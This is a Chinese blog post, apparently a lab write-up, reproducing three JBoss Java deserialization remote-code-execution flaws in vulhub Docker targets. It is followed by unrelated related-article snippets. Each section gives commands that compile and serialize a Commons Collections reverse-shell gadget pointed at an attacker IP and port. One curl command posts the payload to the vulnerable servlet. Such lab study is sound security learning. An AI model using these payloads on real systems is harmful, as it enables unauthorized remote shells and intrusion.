Jboss多个远程命令执行漏洞(CVE-2017-12149、CVE-2015-7501、CVE-2017-7504)

目录

Jboss介绍

CVE-2017-12149

漏洞产生的原因

环境搭建

漏洞检测和利用

反弹shell

CVE-2015-7501

漏洞产生的原因

环境搭建

漏洞检测和利用

反弹shell

CVE-2017-7504

漏洞产生的原因

环境搭建

漏洞检测和利用

反弹shell


这一篇是参考大佬的好文章进行Jboos的多个远程命令执行漏洞的学习和练习

Jboss介绍

JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发,并且由开源社区开发,这使得JBoss广为流行。

CVE-2017-12149

漏洞产生的原因

该漏洞为 Java反序列化类型,位于 Jboss 的 HttpInvoker 组件中ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。

CVE-2017-12149漏洞影响版本: 5.X 及 6.X

java的序列化与反序列化:

Java序列化就是指把Java对象转换为字节序列的过程,在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。

Java反序列化就是指把字节序列恢复为Java对象的过程,根据字节流中保存的对象状态及描述信息,通过反序列化重建对象。

环境搭建

这里还是使用vulhub靶场

移动到如下路径下

/opt/vulhub-master/jboss/CVE-2017-12149

使用docker-compose up -d来拉取环境

拉取完成后,我们就可以在浏览器中访问:

到此环境搭建就完成了

漏洞检测和利用

可以利用专门检测该漏洞的检测工具进行检查和利用

反弹shell

我们首先在攻击机中进行监听:

然后我们进行反弹shell:

首先需要再github上下载需要辅助的工具

joaomatosf/JavaDeserH2HC: Sample codes written for the Hackers to Hackers Conference magazine 2017 (H2HC). (github.com)

编译并生成序列化数据,生成ReverseShellCommonsCollectionsHashMap.class文件

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

序列化恶意数据至文件,生成ReverseShellCommonsCollectionsHashMap.ser文件

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.159.151:8888

把ReverseShellCommonsCollectionsHashMap.ser发送到靶机

然后在攻击机上查看,可以看到已经成功的反弹shell了

CVE-2015-7501

漏洞产生的原因

MXInvokerServlet 反序列化漏洞(CVE-2015-7501),JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

跟之前的CVE-2017-12149漏洞相似,都是使用了java的反序列化,该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,从而导致了漏洞。

环境搭建

这里的环境还是使用vulhub靶场

移动到如下路径中

/opt/vulhub-master/jboss/JMXInvokerServlet-deserialization

然后使用docker-compose up -d来拉取漏洞环境

拉取完成后,我们可以在浏览器中访问

到此环境搭建就完成了

漏洞检测和利用

访问如下接口,发现可以下载,说明是存在漏洞的

反弹shell

下面我们就可以使用上面的方式来进行shell的反弹

编译并生成序列化数据,生成ReverseShellCommonsCollectionsHashMap.class文件

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

序列化恶意数据至文件,生成ReverseShellCommonsCollectionsHashMap.ser文件

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.159.151:8888

把ReverseShellCommonsCollectionsHashMap.ser发送到靶机

可以看到也是成功的反弹了shell

CVE-2017-7504

漏洞产生的原因

CVE-2017-7504漏洞与CVE-2015-7501的漏洞原理相似,只是利用的路径稍微出现了变化,CVE-2017-7504出现在/jbossmq-httpil/HTTPServerILServlet路径下。

JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码

环境搭建

这里使用的还是vulhub靶场

移动到如下目录中

/opt/vulhub-master/jboss/CVE-2017-7504

使用docker-compose up -d命令来拉取环境

拉取完成后,可以在浏览器中访问一下

到此,环境就搭建完成了

漏洞检测和利用

访问如下路径:

出现了这样的页面,说明是存在漏洞的

反弹shell

还是同样的使用上面的那种方式来进行反弹shell操作

curl http://192.168.159。200:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

可以看到成功的反弹了shell,并且可以执行命令

参考文章:

干货|最全的Jboss漏洞复现笔记-腾讯云开发者社区-腾讯云

Jboss远程代码执行(CVE-2017-12149 ) - FreeBuf网络安全行业门户

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/744784.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

了解负载均衡器

现代系统变得越来越复杂,但这种复杂性确保了处理大量的网络流量和请求。 简单来说,负载均衡器的主要思想就像它的名字一样,它跨服务器提供直接的客户端请求。换句话说,负载均衡器是在多台服务器之间分配网络或应用程序流量的系统…

Java银系统/超市收银系统/智慧新零售/ERP进销存管理/线上商城/h5/小程序

>>>系统简述: 神点收银系统支持B2B2C多商户模式,系统基于前后端分离的架构,后端采用Java SpringBoot Mysql Mybatis Plus,前端基于当前流行的Uniapp、Element UI,支持小程序、h5。架构包含:会员端…

Redis-数据类型-Bit的基本操作-getbit-setbit-Bitmap

文章目录 0、Bitmaps(位图)1、查看redis是否启动2、通过客户端连接redis3、切换到db7数据库4、设置(或覆盖)一个键(key)的值(value)5、获取存储在给定键(key)…

还是国产大模型靠谱!这里有一个OpenAI API用户特别搬家计划

近日,一场风波在科技圈引起了广泛的关注。6月25日凌晨,OpenAI向大量开发者发送邮件,通知他们:“您的组织有流量来自来OpenAl目前不支持的地区。从7月9日起,我们将采取额外措施,停止OpenAI不支持的国家和地区…

智慧车库管理系统

摘 要 随着城市化进程的不断加快,私家车数量的快速增长给城市交通带来了巨大的挑战,停车问题成为城市交通管理中的一大难题。车辆停车时,在停车场寻找停车位耗时过久,不仅仅浪费用户的时间,还可能引起交通拥堵。城市停…

python笔记3

1.通过乘法多次打印,以及字符串相加的合体打印 xzzz yyyy print(xy) print(x*10)#与一个数为打印多少次 2.设置俩个变量,可以通过下面的方法来判断是否一个元素是否在另一个元素中,返回bool值 xzzz yyyy print(xy) print(x*10)#与一个数为打…

论文辅导 | 基于贝叶斯优化LSTM的锂电池健康状态评估方法

辅导文章 模型描述 在传统的 LSTM 神经网络中,超参数的取值对模型性能有很大影响,但人工调参很难得到最优解。 因此,本文加入了 BO 来迭代出最优超参数。 在利用LSTM 神经网络评估锂电池 SoH 的基础上,通过 BO来提高评估的精确度。 预测效果

【以Qwen2为例】vLLM流式推理部署,openai接口调用,requests调用

大家都是穷鬼,都不喜欢看到 现在csdn上关于vllm流式推理部署的文章全部都收费,这么简单的一个技术至于这样吗?都藏着掖着 安装vllm 我的torch版本是2.3.0,对应nccl是2.20.5 pip install nvidia-nccl-cu122.20.5部署 python -m…

Java | Leetcode Java题解之第198题打家劫舍

题目&#xff1a; 题解&#xff1a; class Solution {public int rob(int[] nums) {if (nums null || nums.length 0) {return 0;}int length nums.length;if (length 1) {return nums[0];}int first nums[0], second Math.max(nums[0], nums[1]);for (int i 2; i <…

SpringBoot整合Mybatis并实现数据库增删改查

写在前面 Mybatis一个基于Java的持久层框架&#xff0c;它通过XML或注解的方式&#xff0c;将SQL语句和Java方法进行映射&#xff0c;使得开发者可以轻松地进行数据库操作。下面我会演示mybatis的配置与使用并实现数据库的增删改查。 1.准备测试数据 使用mybatis实现对数据库…

石油化工厂为什么要用专业防爆手机?

防爆手机之所以必须使用专业设计的产品&#xff0c;主要是出于安全考虑&#xff0c;以防止在易燃易爆环境中因手机使用不当引发爆炸事故。以下几点详细解释了使用专业化工防爆手机的必要性&#xff1a; 本质安全设计&#xff1a;顶坚专业防爆手机采用了本质安全&#xff08;本安…

权重衰退及代码

一、硬性限制 1、通常不限制偏移b&#xff0c;因为限制不会有区别&#xff1b;seta越小&#xff0c;意味着正则项强 2、优化的是最小化的损失函数 3、后部的限制条件&#xff0c;每个项的平方和小于一个值&#xff1b;极端情况下&#xff0c;当seta等于0&#xff0c;意味着所…

【node】深入探讨 class URL

【node】深入探讨 class URL &#x1f4cc; 浅说 fileURLToPath() 在vite.config.ts中有这么一段代码&#xff1a; import { fileURLToPath, URL } from node:url import { defineConfig } from vite export default defineConfig({resolve: {alias: {: fileURLToPath(new U…

github无法访问,下载慢的解决方法

GitHub是一个存储分享无数的开源项目和代码的宝库网站。然而&#xff0c;由于一些原因&#xff0c;国内用户在访问GitHub时常常遭遇无法访问或下载速度缓慢的问题。这不仅影响了开发者的工作效率&#xff0c;也使一些想要访问下载github文件的普通用户遇到困难。下面小编就来和…

线性代数、矩阵计算

一、线性代数 1、对于向量&#xff0c;若a是标量&#xff0c;为a的绝对值乘以b的向量长度。 2、点乘 3、范数&#xff1a;向量或者矩阵的长度 L1范数&#xff1a;&#xff08;对向量&#xff09;每个元素的绝对值求和 L2范数&#xff1a;&#xff08;对向量&#xff09;torch.…

Websocket在Java中的实践——最小可行案例

WebSocket是一种先进的网络通信协议&#xff0c;它允许在单个TCP连接上进行全双工通信&#xff0c;即数据可以在同一时间双向流动。WebSocket由IETF标准化为RFC 6455&#xff0c;并且已被W3C定义为JavaScript API的标准&#xff0c;成为现代浏览器的重要特性之一。 WebSocket的…

【嵌入式Linux】i.MX6ULL 外部中断服务函数的初始化

文章目录 1. Cortex-A7 中断系统1.1 分析1.2 具体处理流程 2. 外部中断服务函数的初始化2.1 基本流程分析2.2 具体代码分析2.2.1. 定义中断处理类型和结构体2.2.2. 初始化中断系统2.2.3. 注册中断处理函数2.2.4. 具体的中断处理逻辑2.2.5. 默认的中断处理函数 3. 完整代码 本文…

002_unsigned long数据比较的坑?

【背景】 unsigned long 类似数据的比较问题&#xff0c;先上一段代码&#xff0c;如下图所示&#xff1a; 就是图中框出的部分&#xff0c;眨眼一看&#xff0c;应该没啥问题&#xff0c;而且我也在本地的编译器vs2019上编译了&#xff0c;确实也没有报错&#xff0c;所以就修…

【Linux】静态库、动态库

动静态库里面包含的是源文件通过汇编阶段生成的后缀为.o的可重定位目标文件。我们在使用C语言&#xff0c;包含一个stdio.h头文件就可以使用scanf方法&#xff0c;其实都是系统调用了相应的头文件和库&#xff0c;库里面有开发者已经写好各种方法。也就是说我们在使用C语言时&a…

Java | Leetcode Java题解之第191题位1的个数

题目&#xff1a; 题解&#xff1a; public class Solution {public int hammingWeight(int n) {int ret 0;while (n ! 0) {n & n - 1;ret;}return ret;} }